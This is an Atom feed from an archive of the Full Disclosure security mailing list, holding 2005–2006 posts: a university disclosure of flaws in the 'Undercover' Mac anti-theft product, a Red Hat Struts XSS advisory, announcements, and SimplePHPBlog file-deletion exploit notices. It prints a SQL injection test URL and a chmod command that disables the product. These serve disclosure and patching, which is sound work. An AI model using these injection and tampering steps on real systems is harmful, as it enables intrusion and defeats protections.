<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<id>tag:www.nabble.com,2006:forum-396</id>
	<title>Nabble - NetSys Full Disclosure</title>
	<updated>2006-02-02T01:12:45Z</updated>
	<link rel="self" type="application/atom+xml" href="http://www.nabble.com/NetSys-Full-Disclosure-f396.xml" />
	<link rel="alternate" type="text/html" href="http://www.nabble.com/NetSys-Full-Disclosure-f396.html" />
	<subtitle type="html">An unmoderated high-traffic forum for disclosure of security information. Fresh vulnerabilities sometimes hit this list many hours before they pass through the Bugtraq moderation queue. The relaxed atmosphere of this quirky list provides some comic relief and certain industry gossip. Unfortunately 80% of the posts are worthless drivel, so finding the gems takes patience. - comments provided by seclists.org</subtitle>
	
<entry>
	<id>tag:www.nabble.com,2006:post-2759302</id>
	<title>Issues with security software: orbicule.com &quot;Undercover&quot;</title>
	<published>2006-02-02T01:12:45Z</published>
	<updated>2006-02-02T01:12:45Z</updated>
	<author>
		<name>Maximillian Dornseif-3</name>
	</author>
	<content type="html">During a lab exercise one of our students found several privacy &amp;nbsp;
&lt;br&gt;security issues in products and services offered by &lt;a href=&quot;http://orbicule.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://orbicule.com&lt;/a&gt;.
&lt;br&gt;&lt;br&gt;orbicule.com offers what is claimed to be a Notebook Anti-Theft &amp;nbsp;
&lt;br&gt;solution for Apple MacOS X called Undercover. You install their &amp;nbsp;
&lt;br&gt;software on their machine, register the machine with them and then &amp;nbsp;
&lt;br&gt;shit happens.
&lt;br&gt;&lt;br&gt;A) Website.
&lt;br&gt;&lt;br&gt;1. Everybody can see the list of Stolen Notebooks / their Mac &amp;nbsp;
&lt;br&gt;Addresses. See
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://www.orbicule.com/UCservices/trace.plist&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.orbicule.com/UCservices/trace.plist&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;http://www.orbicule.com/UCservices/hijack.plist&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.orbicule.com/UCservices/hijack.plist&lt;/a&gt;&lt;br&gt;&lt;br&gt;2. The site contains SQL injection vulnerabilities. Try
&lt;br&gt;&lt;a href=&quot;http://www.orbicule.com/UCServices/registration.php?mac=;nastystuff&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.orbicule.com/UCServices/registration.php?mac=;nastystuff&lt;/a&gt;&lt;br&gt;&lt;br&gt;B) Binary
&lt;br&gt;&lt;br&gt;The binary contains - for what ever reason = the ftp username and &amp;nbsp;
&lt;br&gt;passwort to administer the orbicule.com Website. This allows you &amp;nbsp;to &amp;nbsp;
&lt;br&gt;download the list of registered users and do all kind of havoc. Eg. &amp;nbsp;
&lt;br&gt;backdooring the binary available for &amp;nbsp;download on the site.
&lt;br&gt;&lt;br&gt;&lt;br&gt;C) Theft Protection
&lt;br&gt;&lt;br&gt;1. The Binary is starts via LaunchDaemon and thus can be easily &amp;nbsp;
&lt;br&gt;disabled - a PoC:
&lt;br&gt;&lt;br&gt;$ sudo chmod -x /private/etc/uc.app/Contents/MacOS/uc
&lt;br&gt;$ sudo reboot
&lt;br&gt;&lt;br&gt;2. The IP-Address check relies on the third party Website http:// 
&lt;br&gt;checkip.dyndns.org/ thus revealing information to a thirtd party &amp;nbsp;
&lt;br&gt;unnecessary without stating this in the documentation.
&lt;br&gt;&lt;br&gt;Timeline:
&lt;br&gt;2005-01-20: Issue Reported to us by Student, verified by us
&lt;br&gt;2005-01-20: &lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=2759302&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;info@...&lt;/a&gt;, &lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=2759302&amp;i=1&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;Peter.Schols@...&lt;/a&gt; contacted
&lt;br&gt;2005-01-20: Reply by Peter Schols requesting further explanation, &amp;nbsp;
&lt;br&gt;email discussion of the issues
&lt;br&gt;2005-01-20: Vendor assures us that &amp;quot;over the next weeks we will &amp;nbsp;
&lt;br&gt;increase our development efforts to get a more secure and more &amp;nbsp;
&lt;br&gt;reliable Undercover out as soon as possible.&amp;quot;
&lt;br&gt;2005-01-30: Vendor contacted us and assures the MAC Addresses are not &amp;nbsp;
&lt;br&gt;stored anymore on the server, the SQL-Injection is fixed and the &amp;nbsp;
&lt;br&gt;password is removed from the binary.
&lt;br&gt;2005-02-01: Vendor now states our findings are wrong. Demands &amp;nbsp;
&lt;br&gt;&amp;quot;updating&amp;quot; of a blog entry at &lt;a href=&quot;http://blogs.23.nu/c0re/stories/11058/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://blogs.23.nu/c0re/stories/11058/&lt;/a&gt;&lt;br&gt;2005-02-01: Uncoordinated release after weighting damage done by non &amp;nbsp;
&lt;br&gt;release compared to release and considering that vednor hadn't &amp;nbsp;
&lt;br&gt;stopped distributing the broken software.
&lt;br&gt;&lt;br&gt;&lt;br&gt;-- 
&lt;br&gt;Maximillian Dornseif
&lt;br&gt;Pi1 - Laboratory for Dependable Distributed Systems, University of &amp;nbsp;
&lt;br&gt;Mannheim, &amp;nbsp;Germany
&lt;br&gt;&lt;a href=&quot;http://pi1.informatik.uni-mannheim.de/staff/home/dornseif&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://pi1.informatik.uni-mannheim.de/staff/home/dornseif&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br /&gt; &lt;div class=&quot;small&quot;&gt;&lt;br/&gt;&lt;img src=&quot;http://www.nabble.com/images/icon_attachment.gif&quot; &gt; &lt;strong&gt;smime.p7s&lt;/strong&gt; (3K) &lt;a href=&quot;http://www.nabble.com/attachment/2759302/0/smime.p7s&quot; target=&quot;_top&quot;&gt;Download Attachment&lt;/a&gt;&lt;/div&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Issues-with-security-software%3A-orbicule.com-%22Undercover%22-tp2759302p2759302.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-2333608</id>
	<title>[RHSA-2006:0157-01] Low: struts security update for Red Hat Application Server</title>
	<published>2006-01-11T11:15:51Z</published>
	<updated>2006-01-11T11:15:51Z</updated>
	<author>
		<name>Bugzilla from bugzilla@redhat.com</name>
	</author>
	<content type="html">-----BEGIN PGP SIGNED MESSAGE-----
&lt;br&gt;Hash: SHA1
&lt;br&gt;&lt;br&gt;- ---------------------------------------------------------------------
&lt;br&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Red Hat Security Advisory
&lt;br&gt;&lt;br&gt;Synopsis: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;Low: struts security update for Red Hat Application Server
&lt;br&gt;Advisory ID: &amp;nbsp; &amp;nbsp; &amp;nbsp; RHSA-2006:0157-01
&lt;br&gt;Advisory URL: &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href=&quot;https://rhn.redhat.com/errata/RHSA-2006-0157.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;https://rhn.redhat.com/errata/RHSA-2006-0157.html&lt;/a&gt;&lt;br&gt;Issue date: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2006-01-11
&lt;br&gt;Updated on: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;2006-01-11
&lt;br&gt;Product: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Red Hat Application Server
&lt;br&gt;CVE Names: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; CVE-2005-3745
&lt;br&gt;- ---------------------------------------------------------------------
&lt;br&gt;&lt;br&gt;1. Summary:
&lt;br&gt;&lt;br&gt;Updated Red Hat Application Server components are now available including a
&lt;br&gt;security update for Struts.
&lt;br&gt;&lt;br&gt;This update has been rated as having low security impact by the Red Hat
&lt;br&gt;Security Response Team.
&lt;br&gt;&lt;br&gt;2. Relevant releases/architectures:
&lt;br&gt;&lt;br&gt;Red Hat Application Server 3AS - noarch
&lt;br&gt;Red Hat Application Server 3ES - noarch
&lt;br&gt;Red Hat Application Server 3WS - noarch
&lt;br&gt;&lt;br&gt;3. Problem description:
&lt;br&gt;&lt;br&gt;Red Hat Application Server packages provide a J2EE Application Server and
&lt;br&gt;Web container as well as the underlying Java stack.
&lt;br&gt;&lt;br&gt;A cross-site scripting flaw was found in the way Struts displays error
&lt;br&gt;pages. It may be possible for an attacker to construct a specially crafted
&lt;br&gt;URL which could fool a victim into believing they are viewing a trusted
&lt;br&gt;site. The Common Vulnerabilities and Exposures project assigned the
&lt;br&gt;name CVE-2005-3745 to this issue. Please note that this issue does not
&lt;br&gt;affect Struts running on Tomcat or JOnAS, which is our supported usage of
&lt;br&gt;Struts.
&lt;br&gt;&lt;br&gt;All users of Red Hat Application Server should upgrade to these updated
&lt;br&gt;packages, which contain Struts version 1.2.8 which is not vulnerable to
&lt;br&gt;this issue.
&lt;br&gt;&lt;br&gt;4. Solution:
&lt;br&gt;&lt;br&gt;Before applying this update, make sure all previously released errata
&lt;br&gt;relevant to your system have been applied.
&lt;br&gt;&lt;br&gt;To update all RPMs for your particular architecture, run:
&lt;br&gt;&lt;br&gt;rpm -Fvh [filenames]
&lt;br&gt;&lt;br&gt;where [filenames] is a list of the RPMs you wish to upgrade. &amp;nbsp;Only those
&lt;br&gt;RPMs which are currently installed will be updated. &amp;nbsp;Those RPMs which are
&lt;br&gt;not installed but included in the list will not be updated. &amp;nbsp;Note that you
&lt;br&gt;can also use wildcards (*.rpm) if your current directory *only* contains the
&lt;br&gt;desired RPMs.
&lt;br&gt;&lt;br&gt;Please note that this update is also available via Red Hat Network. &amp;nbsp;Many
&lt;br&gt;people find this an easier way to apply updates. &amp;nbsp;To use Red Hat Network,
&lt;br&gt;launch the Red Hat Update Agent with the following command:
&lt;br&gt;&lt;br&gt;up2date
&lt;br&gt;&lt;br&gt;This will start an interactive process that will result in the appropriate
&lt;br&gt;RPMs being upgraded on your system.
&lt;br&gt;&lt;br&gt;5. Bug IDs fixed (&lt;a href=&quot;http://bugzilla.redhat.com/):&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://bugzilla.redhat.com/):&lt;/a&gt;&lt;br&gt;&lt;br&gt;173929 - CVE-2005-3745 struts cross site scripting flaw
&lt;br&gt;&lt;br&gt;&lt;br&gt;6. RPMs required:
&lt;br&gt;&lt;br&gt;Red Hat Application Server 3AS:
&lt;br&gt;&lt;br&gt;SRPMS:
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/jakarta-commons-validator-1.1.4-1jpp_2rh.src.rpm
&lt;br&gt;46933f732577bc526befdeea7bac8104 &amp;nbsp;jakarta-commons-validator-1.1.4-1jpp_2rh.src.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/struts-1.2.8-1jpp_2rh.src.rpm
&lt;br&gt;155997f9d1c9e4bc5aa5925fc4c32c09 &amp;nbsp;struts-1.2.8-1jpp_2rh.src.rpm
&lt;br&gt;&lt;br&gt;noarch:
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/jakarta-commons-validator-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;f98c1b067974f6be016c01b0ab6295a0 &amp;nbsp;jakarta-commons-validator-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/jakarta-commons-validator-javadoc-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;32401dec1ab787c56760145a033a4d7c &amp;nbsp;jakarta-commons-validator-javadoc-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/struts-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;19ff36e45ff2aee9fab9e6aa06a8f46b &amp;nbsp;struts-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/struts-javadoc-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;80b709089a6c65cc926df4d64695777e &amp;nbsp;struts-javadoc-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/struts-manual-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;96e87e5eed99be4173961e8a805004c2 &amp;nbsp;struts-manual-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3AS/en/RHAPS/SRPMS/struts-webapps-tomcat5-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;9f50fcbd73cc59fdb65383bd9f3c28ef &amp;nbsp;struts-webapps-tomcat5-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;&lt;br&gt;Red Hat Application Server 3ES:
&lt;br&gt;&lt;br&gt;SRPMS:
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/jakarta-commons-validator-1.1.4-1jpp_2rh.src.rpm
&lt;br&gt;46933f732577bc526befdeea7bac8104 &amp;nbsp;jakarta-commons-validator-1.1.4-1jpp_2rh.src.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/struts-1.2.8-1jpp_2rh.src.rpm
&lt;br&gt;155997f9d1c9e4bc5aa5925fc4c32c09 &amp;nbsp;struts-1.2.8-1jpp_2rh.src.rpm
&lt;br&gt;&lt;br&gt;noarch:
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/jakarta-commons-validator-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;f98c1b067974f6be016c01b0ab6295a0 &amp;nbsp;jakarta-commons-validator-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/jakarta-commons-validator-javadoc-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;32401dec1ab787c56760145a033a4d7c &amp;nbsp;jakarta-commons-validator-javadoc-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/struts-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;19ff36e45ff2aee9fab9e6aa06a8f46b &amp;nbsp;struts-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/struts-javadoc-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;80b709089a6c65cc926df4d64695777e &amp;nbsp;struts-javadoc-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/struts-manual-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;96e87e5eed99be4173961e8a805004c2 &amp;nbsp;struts-manual-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3ES/en/RHAPS/SRPMS/struts-webapps-tomcat5-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;9f50fcbd73cc59fdb65383bd9f3c28ef &amp;nbsp;struts-webapps-tomcat5-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;&lt;br&gt;Red Hat Application Server 3WS:
&lt;br&gt;&lt;br&gt;SRPMS:
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/jakarta-commons-validator-1.1.4-1jpp_2rh.src.rpm
&lt;br&gt;46933f732577bc526befdeea7bac8104 &amp;nbsp;jakarta-commons-validator-1.1.4-1jpp_2rh.src.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/struts-1.2.8-1jpp_2rh.src.rpm
&lt;br&gt;155997f9d1c9e4bc5aa5925fc4c32c09 &amp;nbsp;struts-1.2.8-1jpp_2rh.src.rpm
&lt;br&gt;&lt;br&gt;noarch:
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/jakarta-commons-validator-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;f98c1b067974f6be016c01b0ab6295a0 &amp;nbsp;jakarta-commons-validator-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/jakarta-commons-validator-javadoc-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;32401dec1ab787c56760145a033a4d7c &amp;nbsp;jakarta-commons-validator-javadoc-1.1.4-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/struts-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;19ff36e45ff2aee9fab9e6aa06a8f46b &amp;nbsp;struts-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/struts-javadoc-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;80b709089a6c65cc926df4d64695777e &amp;nbsp;struts-javadoc-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/struts-manual-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;96e87e5eed99be4173961e8a805004c2 &amp;nbsp;struts-manual-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;ftp://updates.redhat.com/enterprise/3WS/en/RHAPS/SRPMS/struts-webapps-tomcat5-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;9f50fcbd73cc59fdb65383bd9f3c28ef &amp;nbsp;struts-webapps-tomcat5-1.2.8-1jpp_2rh.noarch.rpm
&lt;br&gt;&lt;br&gt;These packages are GPG signed by Red Hat for security. &amp;nbsp;Our key and 
&lt;br&gt;details on how to verify the signature are available from
&lt;br&gt;&lt;a href=&quot;https://www.redhat.com/security/team/key/#package&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;https://www.redhat.com/security/team/key/#package&lt;/a&gt;&lt;br&gt;&lt;br&gt;7. References:
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3745&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3745&lt;/a&gt;&lt;br&gt;&lt;br&gt;8. Contact:
&lt;br&gt;&lt;br&gt;The Red Hat security contact is &amp;lt;&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=2333608&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;secalert@...&lt;/a&gt;&amp;gt;. &amp;nbsp;More contact
&lt;br&gt;details at &lt;a href=&quot;https://www.redhat.com/security/team/contact/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;https://www.redhat.com/security/team/contact/&lt;/a&gt;&lt;br&gt;&lt;br&gt;Copyright 2006 Red Hat, Inc.
&lt;br&gt;-----BEGIN PGP SIGNATURE-----
&lt;br&gt;Version: GnuPG v1.2.1 (GNU/Linux)
&lt;br&gt;&lt;br&gt;iD8DBQFDxVlLXlSAg2UNWIIRAqmrAKC+1tnj98alqz84hEmPDTEYD1uPgQCeJbW3
&lt;br&gt;8jVbO8dYQyf1vZPBWVW/R9E=
&lt;br&gt;=p/4j
&lt;br&gt;-----END PGP SIGNATURE-----
&lt;br&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/-RHSA-2006%3A0157-01--Low%3A-struts-security-update-for-Red-Hat-Application-Server-tp2333608p2333608.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-2076693</id>
	<title>[VulnWatch] New site location</title>
	<published>2005-12-23T06:27:49Z</published>
	<updated>2005-12-23T06:27:49Z</updated>
	<author>
		<name>shadown</name>
	</author>
	<content type="html">Hi,
&lt;br&gt;&lt;br&gt;First of all, Merry Christmas!
&lt;br&gt;I've received some mails asking me when my site was going to be online
&lt;br&gt;again, well....here it is:
&lt;br&gt;&lt;br&gt;&lt;a href=&quot;http://www.iwhax.net/shadown/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.iwhax.net/shadown/&lt;/a&gt;&amp;nbsp; &amp;nbsp;(by the moment outdated)
&lt;br&gt;&lt;a href=&quot;http://www.whitehat.co.il/shadown/&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.whitehat.co.il/shadown/&lt;/a&gt;&amp;nbsp; (updated, with a miskate in the
&lt;br&gt;explanation of sqlinject tool)
&lt;br&gt;&lt;br&gt;I have to very thanks muts for hosting my site. (Thanks!)
&lt;br&gt;&lt;br&gt;Cheers,
&lt;br&gt;&amp;nbsp; shadown
&lt;br&gt;&lt;br&gt;--
&lt;br&gt;Sergio Alvarez
&lt;br&gt;Security, Research &amp; Development
&lt;br&gt;IT Security Consultant
&lt;br&gt;email: &lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=2076693&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;shadown@...&lt;/a&gt;
&lt;br&gt;&lt;br&gt;This message is confidential. It may also contain information that is
&lt;br&gt;privileged or otherwise legally exempt from disclosure. If you have received
&lt;br&gt;it by mistake please let us know by e-mail immediately and delete it from
&lt;br&gt;your system; should also not copy the message nor disclose its contents to
&lt;br&gt;anyone. Many thanks.
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/-VulnWatch--New-site-location-tp2076693p2076693.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-1006713</id>
	<title>Announce: Bluetooth mailing list - Bluetraq</title>
	<published>2005-09-30T04:38:44Z</published>
	<updated>2005-09-30T04:38:44Z</updated>
	<author>
		<name>Adam Laurie</name>
	</author>
	<content type="html">Hi,
&lt;br&gt;&lt;br&gt;By popular demand, we (the trifinite group) have set up a public 
&lt;br&gt;(moderated) mailing list for discussion of all things Bluetooth. This is 
&lt;br&gt;not intended as a replacement for any existing disclosure lists, but 
&lt;br&gt;more for discussions about research into Bluetooth issues etc.
&lt;br&gt;&lt;br&gt;The list can be found here:
&lt;br&gt;&lt;br&gt;&amp;nbsp; &amp;nbsp;&lt;a href=&quot;http://trifinite.org/trifinite_lists.html&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://trifinite.org/trifinite_lists.html&lt;/a&gt;&lt;br&gt;&lt;br&gt;enjoy,
&lt;br&gt;Adam
&lt;br&gt;-- 
&lt;br&gt;Adam Laurie &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Tel: +44 (0) 20 7605 7000
&lt;br&gt;The Bunker Secure Hosting Ltd. &amp;nbsp; &amp;nbsp; &amp;nbsp;Fax: +44 (0) 20 7605 7099
&lt;br&gt;Shepherds Building &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;a href=&quot;http://www.thebunker.net&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.thebunker.net&lt;/a&gt;&lt;br&gt;Rockley Road
&lt;br&gt;London W14 0DA &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;mailto:&lt;a href=&quot;http://www.nabble.com/user/SendEmail.jtp?type=post&amp;post=1006713&amp;i=0&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;adam@...&lt;/a&gt;
&lt;br&gt;UNITED KINGDOM &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;PGP key on keyservers
&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/Announce%3A-Bluetooth-mailing-list---Bluetraq-tp1006713p1006713.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-737225</id>
	<title>SimplePHPBlog Arbitrary File Deletion and Sample Exploit</title>
	<published>2005-08-29T05:42:23Z</published>
	<updated>2005-08-29T05:42:23Z</updated>
	<author>
		<name>Kenneth F. Belva</name>
	</author>
	<content type="html">SimplePHPBlog has a vulnerability in its comment_delete_cgi.php.
&lt;br&gt;&lt;br&gt;The PHP script allows for the arbitrary deletion of files.
&lt;br&gt;&lt;br&gt;Please see following link for a perl script to demonstrate the exploit:
&lt;br&gt;&lt;a href=&quot;http://www.ftusecurity.com/pub/sphpblog_vulns&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.ftusecurity.com/pub/sphpblog_vulns&lt;/a&gt;&lt;br&gt;(Please add .pl extension as my ISP server preprocesses the file if it 
&lt;br&gt;is .pl or txt.)
&lt;br&gt;&lt;br&gt;&lt;br&gt;This vulnerability, in combination with the fact that the installation
&lt;br&gt;scripts are left on the server after installation, allows an arbitrary
&lt;br&gt;user to reset the admin password to one of the attacker's choosing.
&lt;br&gt;&lt;br&gt;The script demonstrates the ability to delete files, reset the admin
&lt;br&gt;password to the attacker's choosing and upload files (including a
&lt;br&gt;command prompt).
&lt;br&gt;&lt;br&gt;The exploit is for educational purposes only.
&lt;br&gt;&lt;br&gt;To prevent this exploit change the line in comment_delete_cgi.php
&lt;br&gt;from $logged_in = logged_in( false, true );
&lt;br&gt;to $logged_in = logged_in( true, true );
&lt;br&gt;&lt;br&gt;Sincerely,
&lt;br&gt;'ken'@FTU
&lt;br&gt;Kenneth F. Belva, CISSP
&lt;br&gt;&lt;a href=&quot;http://www.ftusecurity.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.ftusecurity.com&lt;/a&gt;&lt;br&gt;&lt;br&gt;</content>
	<link rel="alternate" type="text/html" href="http://www.nabble.com/SimplePHPBlog-Arbitrary-File-Deletion-and-Sample-Exploit-tp737225p737225.html" />
</entry>

<entry>
	<id>tag:www.nabble.com,2006:post-763814</id>
	<title>SimplePHPBlog Arbitrary File Deletion and Sample Exploit</title>
	<published>2005-08-28T20:10:07Z</published>
	<updated>2005-08-28T20:10:07Z</updated>
	<author>
		<name>Kenneth F. Belva</name>
	</author>
	<content type="html">SimplePHPBlog has a vulnerability in its comment_delete_cgi.php.
&lt;br&gt;&lt;br&gt;The PHP script allows for the arbitrary deletion of files.
&lt;br&gt;&lt;br&gt;Attached is an perl script to demonstrate the exploit.
&lt;br&gt;&lt;br&gt;This vulnerability, in combination with the fact that the installation 
&lt;br&gt;scripts are left on the server after installation, allows an arbitrary 
&lt;br&gt;user to reset the admin password to one of the attacker's choosing.
&lt;br&gt;&lt;br&gt;The script demonstrates the ability to delete files, reset the admin 
&lt;br&gt;password to the attacker's choosing and upload files (including a 
&lt;br&gt;command prompt).
&lt;br&gt;&lt;br&gt;The exploit is for educational purposes only.
&lt;br&gt;&lt;br&gt;To prevent this exploit change the line in comment_delete_cgi.php
&lt;br&gt;from $logged_in = logged_in( false, true );
&lt;br&gt;to $logged_in = logged_in( true, true );
&lt;br&gt;&lt;br&gt;Sincerely,
&lt;br&gt;'ken'@FTU
&lt;br&gt;Kenneth F. Belva, CISSP
&lt;br&gt;&lt;a href=&quot;http://www.ftusecurity.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.ftusecurity.com&lt;/a&gt;&lt;br&gt;&lt;br /&gt;#!/usr/bin/perl -w
&lt;br&gt;#===============================================================================
&lt;br&gt;#	Title:		sphpblog_vulns.pl
&lt;br&gt;#
&lt;br&gt;#	Written by: 	Kenneth F. Belva, CISSP
&lt;br&gt;#			Franklin Technologies Unlimited, Inc.
&lt;br&gt;#			&lt;a href=&quot;http://www.ftusecurity.com&quot; target=&quot;_top&quot; rel=&quot;nofollow&quot;&gt;http://www.ftusecurity.com&lt;/a&gt;&lt;br&gt;#
&lt;br&gt;#	Date: 		August 25, 2005
&lt;br&gt;#
&lt;br&gt;#	Version:	0.1
&lt;br&gt;#
&lt;br&gt;#	Description:	This program is for educational purposes only!
&lt;br&gt;#			SimplePHPBlog as a few vulnerability which this
&lt;br&gt;#			perl script demonstrates via an exploit.
&lt;br&gt;#
&lt;br&gt;#	Instructions:	Should be self-explanatory via the .pl help menu
&lt;br&gt;#
&lt;br&gt;#	Solutions:	
&lt;br&gt;#			*** Solution 1
&lt;br&gt;#			Change the line in comment_delete_cgi.php from
&lt;br&gt;#			$logged_in = logged_in( false, true ); &amp;nbsp; &amp;nbsp;to
&lt;br&gt;#			$logged_in = logged_in( true, true );
&lt;br&gt;#
&lt;br&gt;#			*** Solution 2
&lt;br&gt;#			Place an .htaccess file with the following config in
&lt;br&gt;#			the ./config directory:
&lt;br&gt;#
&lt;br&gt;#
&lt;br&gt;#			#---------------------
&lt;br&gt;#			#Snip .htaccess start
&lt;br&gt;#			#---------------------			
